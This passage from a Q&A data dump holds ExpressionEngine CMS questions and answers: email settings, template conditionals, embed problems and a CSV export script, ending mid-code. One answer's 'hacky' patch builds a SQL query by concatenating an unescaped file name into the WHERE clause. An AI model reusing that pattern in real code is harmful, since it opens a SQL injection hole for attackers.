  <row Id="11495" PostTypeId="2" ParentId="11428" CreationDate="2013-06-26T00:45:26.247" Score="0" Body="&lt;p&gt;No. EE is set-up to check a single database. But you can add additional tables to that database as you see fit, and use QUERY module to access data out of them. For example, when we add custom tables to a solution for a client, we've done things like zip_code, counties, irs_data, etc. We use a prefix other than  &lt;code&gt;exp&lt;/code&gt; and add them to the same database. You don't need the prefix, but it will keep the tables grouped together. So say, &lt;code&gt;mnd_zipcodes&lt;/code&gt;, &lt;code&gt;mnd_regions&lt;/code&gt;, &lt;code&gt;mnd_counties&lt;/code&gt;, &lt;code&gt;mnd_form_990s&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That works well. We've also run secondary apps on the same database, using different prefixes. You may end up with a lot of tables, but EE's QUERY can access any of the tables.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-06-26T00:45:26.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11496" PostTypeId="2" ParentId="5986" CreationDate="2013-06-26T02:18:36.313" Score="6" Body="&lt;p&gt;These posts gave me the hints I needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For others it seems they may have to change &lt;code&gt;email_newline&lt;/code&gt; and &lt;code&gt;email_crlf&lt;/code&gt; to &lt;code&gt;&quot;\r\n&quot;&lt;/code&gt; in your config/bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CodeIgniter has a &lt;code&gt;smtp_crypto&lt;/code&gt; config that can be either &lt;code&gt;ssl&lt;/code&gt; or &lt;code&gt;tls&lt;/code&gt;. I needed &lt;code&gt;tls&lt;/code&gt; to work with AmazonSES. The &lt;em&gt;actual&lt;/em&gt; config used by EE is &lt;code&gt;email_smtp_crypto&lt;/code&gt; (same for port, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#smtp-port&quot; rel=&quot;noreferrer&quot;&gt;docs say &lt;code&gt;smtp_port&lt;/code&gt;&lt;/a&gt; but in the source &lt;code&gt;email_smtp_port&lt;/code&gt; is utilized in at least one place).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so to recap here are some relevant settings in one place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['email_debug']      = 'y';    &#xA;$config['webmaster_email']  = &quot;email@domain.tld&quot;;&#xA;$config['webmaster_name']   = &quot;Site Name&quot;;&#xA;$config['email_crlf']       = &quot;\r\n&quot;; // default is &quot;\n&quot;&#xA;$config['email_newline']    = &quot;\r\n&quot;; // default is &quot;\n&quot;&#xA;$config['mail_protocol']    = 'smtp';&#xA;$config['smtp_server']      = 'smtp server';&#xA;$config['smtp_port']        = '587'; // Not sure if this is used or not, seems legit, too&#xA;$config['email_smtp_port']  = '587';    &#xA;$config['smtp_username']    = 'smtp username';&#xA;$config['smtp_password']    = 'smtp password';&#xA;//$config['smtp_crypto']      = 'tls'; // CodeIgniter setting, doesn't seem to be used&#xA;$config['email_smtp_crypto']= 'tls';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2013-11-13T17:29:46.193" LastActivityDate="2013-11-13T17:29:46.193" CommentCount="0" CommunityOwnedDate="2013-06-26T02:18:36.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="11498" PostTypeId="2" ParentId="11462" CreationDate="2013-06-26T03:41:27.043" Score="1" Body="&lt;p&gt;I had everything correct except the # in the ID. &lt;/p&gt;&#xA;" OwnerUserId="804" LastActivityDate="2013-06-26T03:41:27.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11500" PostTypeId="2" ParentId="7189" CreationDate="2013-06-26T08:04:24.240" Score="0" Body="&lt;p&gt;This was fixed in Assets 2.1.1&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2013-06-26T08:04:24.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11501" PostTypeId="1" CreationDate="2013-06-26T08:18:06.267" Score="0" ViewCount="85" Body="&lt;p&gt;I am having trouble with single quotes being output in my category_description field, i have attempted removing them using ce_string without success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also i am outputting category_description through low Seg2Cat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="865" LastActivityDate="2013-06-26T10:55:50.423" Title="single quotes not escaping in category_description" Tags="|categories|low-seg2cat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11502" PostTypeId="2" ParentId="11501" CreationDate="2013-06-26T08:23:39.807" Score="1" Body="&lt;p&gt;Did you have a go at it using &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;low replace&lt;/a&gt;? Guess it will be the same as ce_string but worth a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, could you post the actual code you are working with. Would likely help others understanding what's going on.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-06-26T10:55:50.423" LastActivityDate="2013-06-26T10:55:50.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11503" PostTypeId="1" CreationDate="2013-06-26T10:46:30.307" Score="1" ViewCount="63" Body="&lt;p&gt;Just found a super strange bug which is breaking a basic Matrix conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The conditional is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if caption != ''}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if the caption is this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Gérard Depardieu in the role of the title Rasputin, dir. by Irakli Kvirkadze (2013) this year's closing film&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;an error is caused:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: Invalid EE Conditional Variable: {if &quot;Gérard Depardieu in the role of the &quot;Lights, camera, inaction: is Moscow International Film Festival doomed to mediocrity?&quot; Rasputin, dir. by Irakli Kvirkadze (2013) this year's clo&quot; != ''}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because the word &quot;title&quot; is missing from the error, it looks like EE is trying to parse it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes this and what is the fix?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Just an update - using Matrix 2.5.5, and EE 2.5.5.&lt;/p&gt;&#xA;" OwnerUserId="1315" LastEditorUserId="1315" LastEditDate="2013-06-28T10:40:13.673" LastActivityDate="2013-06-28T10:40:13.673" Title="The word &quot;title&quot; breaks simple Matrix conditional" Tags="|matrix|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11504" PostTypeId="2" ParentId="11454" CreationDate="2013-06-26T11:07:44.403" Score="1" Body="&lt;p&gt;So I have this working now.. turned out that removing it from the embed did the trick&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;statistics&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; url_title=&quot;{segment_3}&quot;}&#xA;{title}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:entries &#xA;        channel=&quot;statistics&quot;&#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;&#xA;{stats_driver_points_table}&#xA;&#xA;    {stats_position}&#xA;    &#xA;    {stats_driver}&#xA;    {driver_fullname}&#xA;    {/stats_driver}&#xA;    &#xA;    {stats_r1_q}&#xA;    {stats_r1_c}&#xA;    {stats_r2_q}&#xA;    {stats_r2_c}&#xA;    {stats_season_total}&#xA;&#xA;{/stats_driver_points_table}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One last thing is that now only &quot;open&quot; entries will display in the playa field, how can I display closed too, if it's possible?&lt;/p&gt;&#xA;" OwnerUserId="1697" LastEditorUserId="1697" LastEditDate="2013-06-26T11:40:47.873" LastActivityDate="2013-06-26T11:40:47.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11505" PostTypeId="1" AcceptedAnswerId="11506" CreationDate="2013-06-26T11:13:43.933" Score="3" ViewCount="155" Body="&lt;p&gt;I currently have the following code in my footer. Whenever the content is loaded through either an embed or a snippet, nothing in the tags loads.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;footer-wrapper&quot;&amp;gt;&#xA;            &amp;lt;footer id=&quot;page-footer&quot; class=&quot;5grid-layout&quot;&amp;gt;&#xA;&#xA;                &amp;lt;!-- Content --&amp;gt;&#xA;                    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;4u&quot;&amp;gt;&#xA;                            &amp;lt;section class=&quot;first&quot;&amp;gt;&#xA;&#xA;                                {footer-left-heading}&#xA;                                &amp;lt;ul class=&quot;style1&quot;&amp;gt;&#xA;                                     {exp:channel:entries&#xA;                                                     channel=&quot;contact|donate|events|profile|sponsors&quot;&#xA;                                                     limit=&quot;5&quot;&#xA;                                                     disable=&quot;categories|category_name|member_data|pagination&quot;&#xA;                                                     orderby=&quot;random&quot;&#xA;                                                     }&#xA;                                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}page/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                    {/exp:channel:entries}&#xA;                                &amp;lt;/ul&amp;gt;&#xA;&#xA;                            &amp;lt;/section&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;4u&quot;&amp;gt;&#xA;                            &amp;lt;section&amp;gt;&#xA;                                    {footer-middle-heading}&#xA;                                &amp;lt;ul class=&quot;style1-dates&quot;&amp;gt;&#xA;                                 {exp:channel:entries&#xA;                                                     channel=&quot;event&quot;&#xA;                                                     limit=&quot;5&quot;&#xA;                                                     disable=&quot;categories|category_name|member_data|pagination&quot;&#xA;                                                     orderby=&quot;event_date&quot;&#xA;                                                     sort=&quot;asc&quot;&#xA;                                                     show_future_entries=&quot;yes&quot;&#xA;                                                }&#xA;                                    &amp;lt;li&amp;gt;&amp;lt;span class=&quot;date&quot;&amp;gt;{exp:low_nice_date date=&quot;{event_date}&quot; format=&quot;%M %d&quot;}&amp;lt;/span&amp;gt; &amp;lt;a onClick=&quot;window.open('{title_permalink='page/event'}','Event','width =400,height=200')&quot; href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                 {/exp:channel:entries} &#xA;                                &amp;lt;/ul&amp;gt;&#xA;                            &amp;lt;/section&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;4u&quot;&amp;gt;&#xA;                            &amp;lt;section class=&quot;box-contact&quot;&amp;gt;&#xA;                                &amp;lt;h2&amp;gt;Contact Us&amp;lt;/h2&amp;gt;&#xA;                                &amp;lt;a href=&quot;#&quot; class=&quot;image&quot;&amp;gt;&amp;lt;img src=&quot;{site_url}images/pic5.jpg&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                    &amp;lt;ul class=&quot;style1&quot;&amp;gt;&#xA;                                        {exp:channel:entries&#xA;                                             channel=&quot;company_info&quot;&#xA;                                             limit=&quot;1&quot;&#xA;                                             disable=&quot;categories|category_name|member_data|pagination&quot;&#xA;                                             show_future_entries=&quot;yes&quot;}&#xA;                                        &amp;lt;li class=&quot;address&quot;&amp;gt;{address}&amp;lt;/li&amp;gt;&#xA;                                        &amp;lt;li class=&quot;email&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{email_address}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                        &amp;lt;li class=&quot;phone&quot;&amp;gt;{tel}&amp;lt;/li&amp;gt;                &#xA;                                        {/exp:channel:entries}&#xA;                                    &amp;lt;/ul&amp;gt;&#xA;                            &amp;lt;/section&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;!-- Row Divider --&amp;gt;&#xA;                    &amp;lt;div class=&quot;row row-divider&quot;&amp;gt;&#xA;                        &amp;lt;hr class=&quot;double&quot; /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;!-- Copyright --&amp;gt;&#xA;                    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;12u&quot; id=&quot;copyright&quot;&amp;gt;&#xA;                            {copyright}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/footer&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Footer is loaded into the following page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;        &#xA;            &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;!-- Header --&amp;gt;&#xA;            {embed=&quot;includes/header&quot;}&#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;!-- Main --&amp;gt;&#xA;        &amp;lt;div id=&quot;main-wrapper&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;5grid-layout&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;4u&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;!-- Sidebar --&amp;gt;&#xA;                            {embed=&quot;includes/sidebar-box&quot;}&#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;8u mobileUI-main-content&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;!-- Content --&amp;gt;&#xA;                            &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;                                &amp;lt;article class=&quot;first&quot;&amp;gt;&#xA;                                        {exp:channel:entries &#xA;                                                     channel=&quot;issues&quot;&#xA;                                                     limit=&quot;1&quot;&#xA;                                                     disable=&quot;categories|category_name|member_data|pagination&quot;&#xA;                                                     orderby=&quot;date&quot;&#xA;                                                     sort=&quot;asc&quot;}&#xA;                                    &amp;lt;header&amp;gt;&#xA;                                        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                                    &amp;lt;/header&amp;gt;&#xA;&#xA;                                 &amp;lt;p&amp;gt;{issue_short_description}&amp;lt;/p&amp;gt;&#xA;                                 &amp;lt;p&amp;gt;{issue_description}&amp;lt;/p&amp;gt;&#xA;                            {/exp:channel:entries}&#xA;&#xA;                                &amp;lt;/article&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;!-- Footer --&amp;gt;&#xA;        {footer}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1708" LastActivityDate="2013-06-27T07:41:57.487" Title="Content disappearing from footer" Tags="|ee2|dynamic|content|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11506" PostTypeId="2" ParentId="11505" CreationDate="2013-06-26T11:33:39.127" Score="2" Body="&lt;p&gt;To isolate the problem, I would&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Try with a very simple &quot;hello world&quot; snippet or embed and see if it renders&lt;/li&gt;&#xA;&lt;li&gt;Add a single simple exp:channel:entries tag in there and see if it works&lt;/li&gt;&#xA;&lt;li&gt;Add in your exp:channel:entries one by one to see where it breaks&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Try adding &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to your channel entries loops, since you don't want EE to try to be intelligently guessing what you want by looking at the URL. That should help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just replace your entire footer code with this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;event&quot;&#xA;    limit=&quot;5&quot;&#xA;    disable=&quot;categories|category_name|member_data|pagination&quot;&#xA;    orderby=&quot;event_date&quot;&#xA;    sort=&quot;asc&quot;&#xA;    show_future_entries=&quot;yes&quot;&#xA;    dynamic=&quot;no&quot;}&#xA;&#xA;        {if count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;            &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;        {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;&#xA;        {if no_results}&amp;lt;p&amp;gt;No event found&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When that works, reconstruct your original file slowly by adding {exp:channel:entries} loops one by one, adding dynamic=&quot;no&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happened here is that, since you didn&quot;t have dynamic=&quot;no&quot; EE was trying to be intelligent when displaying the data by looking at the current URL. dynamic=&quot;no&quot; tells it to forget about the URL completely and do as it is told.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when working with loops and lists, it is good practice to put &lt;code&gt;&amp;lt;ul&amp;gt;&amp;lt;/ul&amp;gt;&lt;/code&gt; inside your loop so as not to have a list with no &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; if there are no results. Updated code above.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-06-27T07:41:57.487" LastActivityDate="2013-06-27T07:41:57.487" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11507" PostTypeId="2" ParentId="11470" CreationDate="2013-06-26T13:06:22.830" Score="0" Body="&lt;p&gt;Do you have a timeframe for when we'll be able to do this natively via Structure calls itself? Have been using sturcture entries in the past but i've been having some serious performance isseus with that plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter himself has indicated on multiple places that adding features and reformatting the code to increase performance isn't something that's on his current todo list. This is in part because of him not using the plugin himself for the last few months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really hate to have to switch to a different solution because i love the easy of use structure brings to my clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With kind regard,&#xA;Bas van Ginkel&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-06-26T13:06:22.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11508" PostTypeId="1" CreationDate="2013-06-26T13:23:30.317" Score="0" ViewCount="324" Body="&lt;p&gt;I would like this option for the &quot;body&quot; field of an entry, but for another field where I want to take a web address and eventually generate a button link, I don't want it encoded, or of course the button ends up messed up. Any ideas/solutions to this? Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2015-12-29T16:33:41.877" Title="Can I escape &quot;automatically turn URLs/Emails into links&quot;?" Tags="|entry|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11509" PostTypeId="2" ParentId="11503" CreationDate="2013-06-26T16:49:42.667" Score="2" Body="&lt;p&gt;Have you tried adding var_prefix to the matix loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:  {matrix_field var_prefix=&quot;var&quot;}{if var:caption!=&quot;&quot;}{matrix_field}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should escape it. Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-06-26T16:49:42.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11510" PostTypeId="1" CreationDate="2013-06-26T17:05:44.103" Score="1" ViewCount="800" Body="&lt;p&gt;i ran into an HTTP Error 500(internal server error) when i tried to edit one of my page. it was working fine up until last week. i tried to to increased the Memory limit in to 256M, didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my error log says this: &quot;PHP Fatal error:  Allowed memory size of 268435456 bytes exhausted (tried to allocate 43504 bytes) in *path/to/my/websit&quot;/system/extensions/fieldtypes/ngen_file_field/ft.ngen_file_field.php on line 1074&quot;&lt;/p&gt;&#xA;" OwnerUserId="1709" LastActivityDate="2017-04-05T12:18:56.323" Title="PHP Fatal error: Allowed memory exausted" Tags="|php-errors|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11511" PostTypeId="2" ParentId="11386" CreationDate="2013-06-26T17:31:31.583" Score="1" Body="&lt;p&gt;I ran into the same issue - after a bit of a hunt, I found where the file value was being pulled from - a database query in &lt;strong&gt;system/expressionengine/models/file_model.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That search wasn't case-sensitive, so I guess it was grabbing the first match it found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My somewhat hacky solution was to change file_model.php around line 334 and update the &lt;strong&gt;get_files_by_name&lt;/strong&gt; function to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_files_by_name($file_name, $dir_id)&#xA;    {&#xA;        if (empty($file_name) OR empty($dir_id))&#xA;        {&#xA;            return FALSE;&#xA;        }&#xA;        //$this-&amp;gt;db-&amp;gt;save_queries = true;&#xA;        $dir_func = $this-&amp;gt;_where_function($dir_id);&#xA;        $name_func = $this-&amp;gt;_where_function($file_name);&#xA;&#xA;        $this-&amp;gt;db-&amp;gt;$dir_func('upload_location_id', $dir_id);&#xA;&#xA;        if (is_array($file_name))&#xA;        {&#xA;            $this-&amp;gt;db-&amp;gt;where_in('file_name', $file_name);&#xA;        }&#xA;        else{&#xA;            $this-&amp;gt;db-&amp;gt;where('file_name = &quot;'.$file_name.'&quot; COLLATE utf8_bin', NULL, FALSE);&#xA;        }&#xA;&#xA;        $query = $this-&amp;gt;db-&amp;gt;get('files');&#xA;        return $query;      &#xA;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this adversely affects security or other file things, but so far seems to be doing the trick for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I posted a bug report &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19512&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="889" LastEditorUserId="889" LastEditDate="2013-06-26T18:31:44.590" LastActivityDate="2013-06-26T18:31:44.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11512" PostTypeId="1" CreationDate="2013-06-26T18:44:00.447" Score="2" ViewCount="232" Body="&lt;p&gt;I'm trying to embed a video into an entry. My code looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://releases.flowplayer.org/5.4.0/flowplayer.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div class=&quot;embed_media&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;flowplayer&quot;&amp;gt;&#xA;        &amp;lt;video preload=&quot;none&quot;&amp;gt;&#xA;            &amp;lt;source src=&quot;/downloads/video/SSS_FallProtection2011.mp4&quot; type=&quot;video/mp4&quot;&amp;gt;&amp;lt;/source&amp;gt;&amp;lt;/video&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After I submit the entry and edit it again... a number of paragraph tags are getting added and the above code starts looking like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://releases.flowplayer.org/5.4.0/flowplayer.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div class=&quot;embed_media&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;flowplayer&quot;&amp;gt;&#xA;        &amp;lt;video preload=&quot;none&quot;&amp;gt;&#xA;            &amp;lt;source src=&quot;/downloads/video/SSS_FallProtection2011.mp4&quot; type=&quot;video/mp4&quot;&amp;gt;&amp;lt;/source&amp;gt;&amp;lt;/video&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;source src=&quot;/downloads/video/SSS_FallProtection2011.mp4&quot; type=&quot;video/mp4&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;source src=&quot;/downloads/video/SSS_FallProtection2011.mp4&quot; type=&quot;video/mp4&quot;&amp;gt;&amp;lt;/source&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;source src=&quot;/downloads/video/SSS_FallProtection2011.mp4&quot; type=&quot;video/mp4&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.5.5 with WYGWAM 2.7.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1710" LastActivityDate="2013-06-26T20:26:55.300" Title="wygwam adding paragraph tags when embedding video" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11513" PostTypeId="2" ParentId="11209" CreationDate="2013-06-26T19:02:09.237" Score="0" Body="&lt;p&gt;I ended up feeding the code directly to the database. I made sure to bypass the browser, which enable me to bypass the browser error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really easy to bypass the browser, just enter the correct details in &lt;a href=&quot;http://panic.com/coda/&quot; rel=&quot;nofollow&quot; title=&quot;coda&quot;&gt;coda&lt;/a&gt; or connect to your expression engine installation via &lt;a href=&quot;http://hellomountee.com/&quot; rel=&quot;nofollow&quot; title=&quot;mountee&quot;&gt;mountee&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-06-26T19:02:09.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11514" PostTypeId="2" ParentId="11458" CreationDate="2013-06-26T19:47:14.213" Score="1" Body="&lt;p&gt;Using a conditional instead of search you could:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;academy-items&quot;&#xA;    related_categories_mode=&quot;yes&quot;&#xA;    custom_fields=&quot;yes&quot;&#xA;}&#xA;    {if audience == &quot;Customer-Support&quot;}{title}&amp;lt;br&amp;gt;{/if}&#xA;&#xA;    {!-- or the syntax might instead be: --}&#xA;    {if &quot;{audience}&quot; == &quot;Customer-Support&quot;}{title}&amp;lt;br&amp;gt;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2013-06-26T19:52:38.020" LastActivityDate="2013-06-26T19:52:38.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11515" PostTypeId="1" AcceptedAnswerId="11519" CreationDate="2013-06-26T20:18:59.463" Score="0" ViewCount="1538" Body="&lt;p&gt;I am trying to use this script that I have put together, forgive me I am a bit of a newbie with sql.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run the script it is outputting an empty csv file, only showing column titles, no data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want it to do is export entries from today's (current date) date only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i think the issue is with this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;SELECT * FROM exp_freeform_form_entries_3 where FROM_UNIXTIME(entry_date) = CURDATE() ORDER BY entry_id&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i remove from &quot;where&quot; onwards it seems to work, but obviously outputs all entries, not todays only.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;//delete existing files&#xA;$files = glob('/home/sitename/csv/*'); // get all file names&#xA;foreach($files as $file){ // iterate files&#xA;  if(is_file($file))&#xA;    unlink($file); // delete file&#xA;}&#xA;&#xA;&#xA;// Connect and query the database for the users&#xA;$conn = new PDO(&quot;mysql:host=localhost;dbname=dbname&quot;, 'username', 'password');&#xA;$sql = &quot;SELECT * FROM exp_freeform_form_entries_3 where FROM_UNIXTIME(entry_date) = CURDATE() ORDER BY entry_id&quot;;&#xA;$results = $conn-&amp;gt;query($sql);&#xA;&#xA;// Pick a filename and destination directory for the file&#xA;// Remember that the folder where you want to write the file has to be writable&#xA;//$filename = &quot;/tmp/db_user_export_&quot;.time().&quot;.csv&quot;;&#xA;$filename = &quot;/home/sitename/csv/db_user_export_&quot;.time().&quot;.csv&quot;;&#xA;&#xA;// Actually create the file&#xA;// The w+ parameter will wipe out and overwrite any existing file with the same name&#xA;$handle = fopen($filename, 'w+');&#xA;&#xA;// Write the spreadsheet column titles / labels&#xA;fputcsv($handle, array('Entry ID','First Name'));&#xA;&#xA;// Write all the user records to the spreadsheet&#xA;foreach($results as $row)&#xA;{&#xA;    fputcsv($handle, 